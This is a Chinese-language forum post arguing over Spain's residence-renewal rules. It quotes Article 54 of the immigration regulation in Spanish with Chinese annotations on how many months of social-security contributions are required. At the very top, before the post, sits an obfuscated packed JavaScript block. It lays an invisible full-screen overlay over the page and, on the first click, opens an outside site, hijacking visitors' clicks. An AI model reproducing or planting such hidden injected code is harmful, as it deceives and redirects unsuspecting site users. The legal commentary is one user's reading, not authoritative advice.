<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>诚信法税:
7月24号实行的西班牙新移民法要求居留更换需要更多的保险。1年换2年需要9个月保险,2年换2年或2年换5年需要18个月的保险。请大家注重,假如全部是半保的话,将没有办法更新房留了。
当前,到底须缴纳6月保险还是9月保险,在华人社会带来一片迷惑
我有不同看法,始终认为须上保9个月的说法是针对失业移民。
但鉴于诚信此帖另有高见,故而在此请教,口说无凭,让我们引出该法律原文,请大家共同商榷理解。
如下是移民法执行规章关于居留更换的规定,请诚信法税仔细过目
出处:http://noticias.juridicas.com/base_datos/Admin/rd2393-2004.t4.html#c2
Artículo 54. Renovación de las autorizaciones de residencia y trabajo por cuenta ajena.
1. La renovación de las autorizaciones de residencia y trabajo por cuenta ajena deberá solicitarse en modelo oficial durante los 60 días naturales previos a la fecha de expiración de la vigencia de su autorización. La presentación de la solicitud en este plazo prorrogará la validez de la autorización anterior hasta la resolución del procedimiento. También se prorrogará hasta la resolución del procedimiento en el supuesto en que la solicitud se presentase dentro de los tres meses posteriores a la fecha en que hubiera finalizado la vigencia de la anterior autorización sin perjuicio de la incoación del correspondiente procedimiento sancionador por la infracción en la que se hubiese incurrido.
2. Junto con la solicitud de renovación deberán presentarse los documentos acreditativos de que se reúnen las condiciones para su concesión de acuerdo con lo establecido en los apartados siguientes.
3. La autorización de residencia y trabajo por cuenta ajena se renovará a su expiración en el supuesto de que se acredite la continuidad en la relación laboral que dio lugar a la concesión de la autorización cuya renovación se pretende.
Asimismo se procederá a la renovación cuando el trabajador acredite la realización habitual de la actividad para la que se concedió la autorización durante un mínimo de seis meses por a?o y se encuentre en alguna de las siguientes situaciones:
留意:上文是针对一年里只缴纳了半年保险的情形,尚须符合以下条件
A--Haya suscrito un contrato de trabajo con un nuevo empleador acorde con las características de su autorización para trabajar y figure en situación de alta o asimilada al alta en el momento de solicitar la renovación.
表明更换居留时,具有新的工作合同,并且已经上保险
B--Disponga de una nueva oferta de empleo que reúna los requisitos establecidos en el artículo 50 con excepción del párrafo a. 表明更换居留时,具有新的工作合同,并符合第50条里(A节除外)提到的要求条件
4. Se renovará la autorización del trabajador que haya tenido un período de actividad de al menos tres meses por a?o siempre y cuando acredite: 注意这一条和下文,针对“一年中只缴纳了三个月或以上”保险的移民
A--Que la relación laboral que dio lugar a la autorización cuya renovación se pretende se interrumpió por causas ajenas a su voluntad. 表明丢失的职业在非自愿下丢失,炒鱿鱼,
B--Que ha buscado activamente empleo participando en las acciones que se determinen por el servicio público de empleo o bien en programas de inserción sociolaboral de entidades públicas o privadas que cuenten con subvenciones públicas.表明失业后登记失业并登记待业,并接受职业培训
C--Que en el momento de solicitud de la renovación tenga un contrato de trabajo en vigor. 表明申请更换时持有有效的新合同
5. También se renovará la autorización cuando el trabajador se encuentre en alguna de las situaciones previstas en el artículo 38.3. b y c de la Ley Orgánica 4/2000 de 11 de enero.
注意:以下是政府7月10日添加的执行条文,针对失业移民,而更换时又没有合同的移民
5 bis. La autorización de residencia y trabajo se renovará asimismo a su expiración cuando el trabajador acredite que se ha encontrado trabajando y en alta en Seguridad Social durante un mínimo de nueve meses en un periodo de doce o de dieciocho meses en un periodo de veinticuatro siempre que su última relación laboral se hubiese interrumpido por causas ajenas a su voluntad y haya buscado activamente empleo.
5 ter. También procederá la renovación cuando el cónyuge cumpliera con los requisitos económicos para reagrupar al trabajador.
5 bis.和5 ter.两节,就是7月10日添加上去的,专门面对的是,缴纳了9个月保险,但换居留没有合同的移民
需要指出的是,如果真的所有移民都必须缴纳九个月保险的话,其他老外媒体和老外移民一定会评论纷纷,事实上每次政府收紧了移民政策的话,包括老外移民协会,工会,人权等等社会组织都会出现大量的批评文章。如果这次真的是那样重大的政策收紧和改变,这些社会组织绝对不会没有人提及到,关心到,但至今我们看不到一篇老外对于7月10日的修改是政策收紧的评论,更加看不到一篇老外文章提到所有移民必须缴纳9个月保险才能换出居留的评论。 |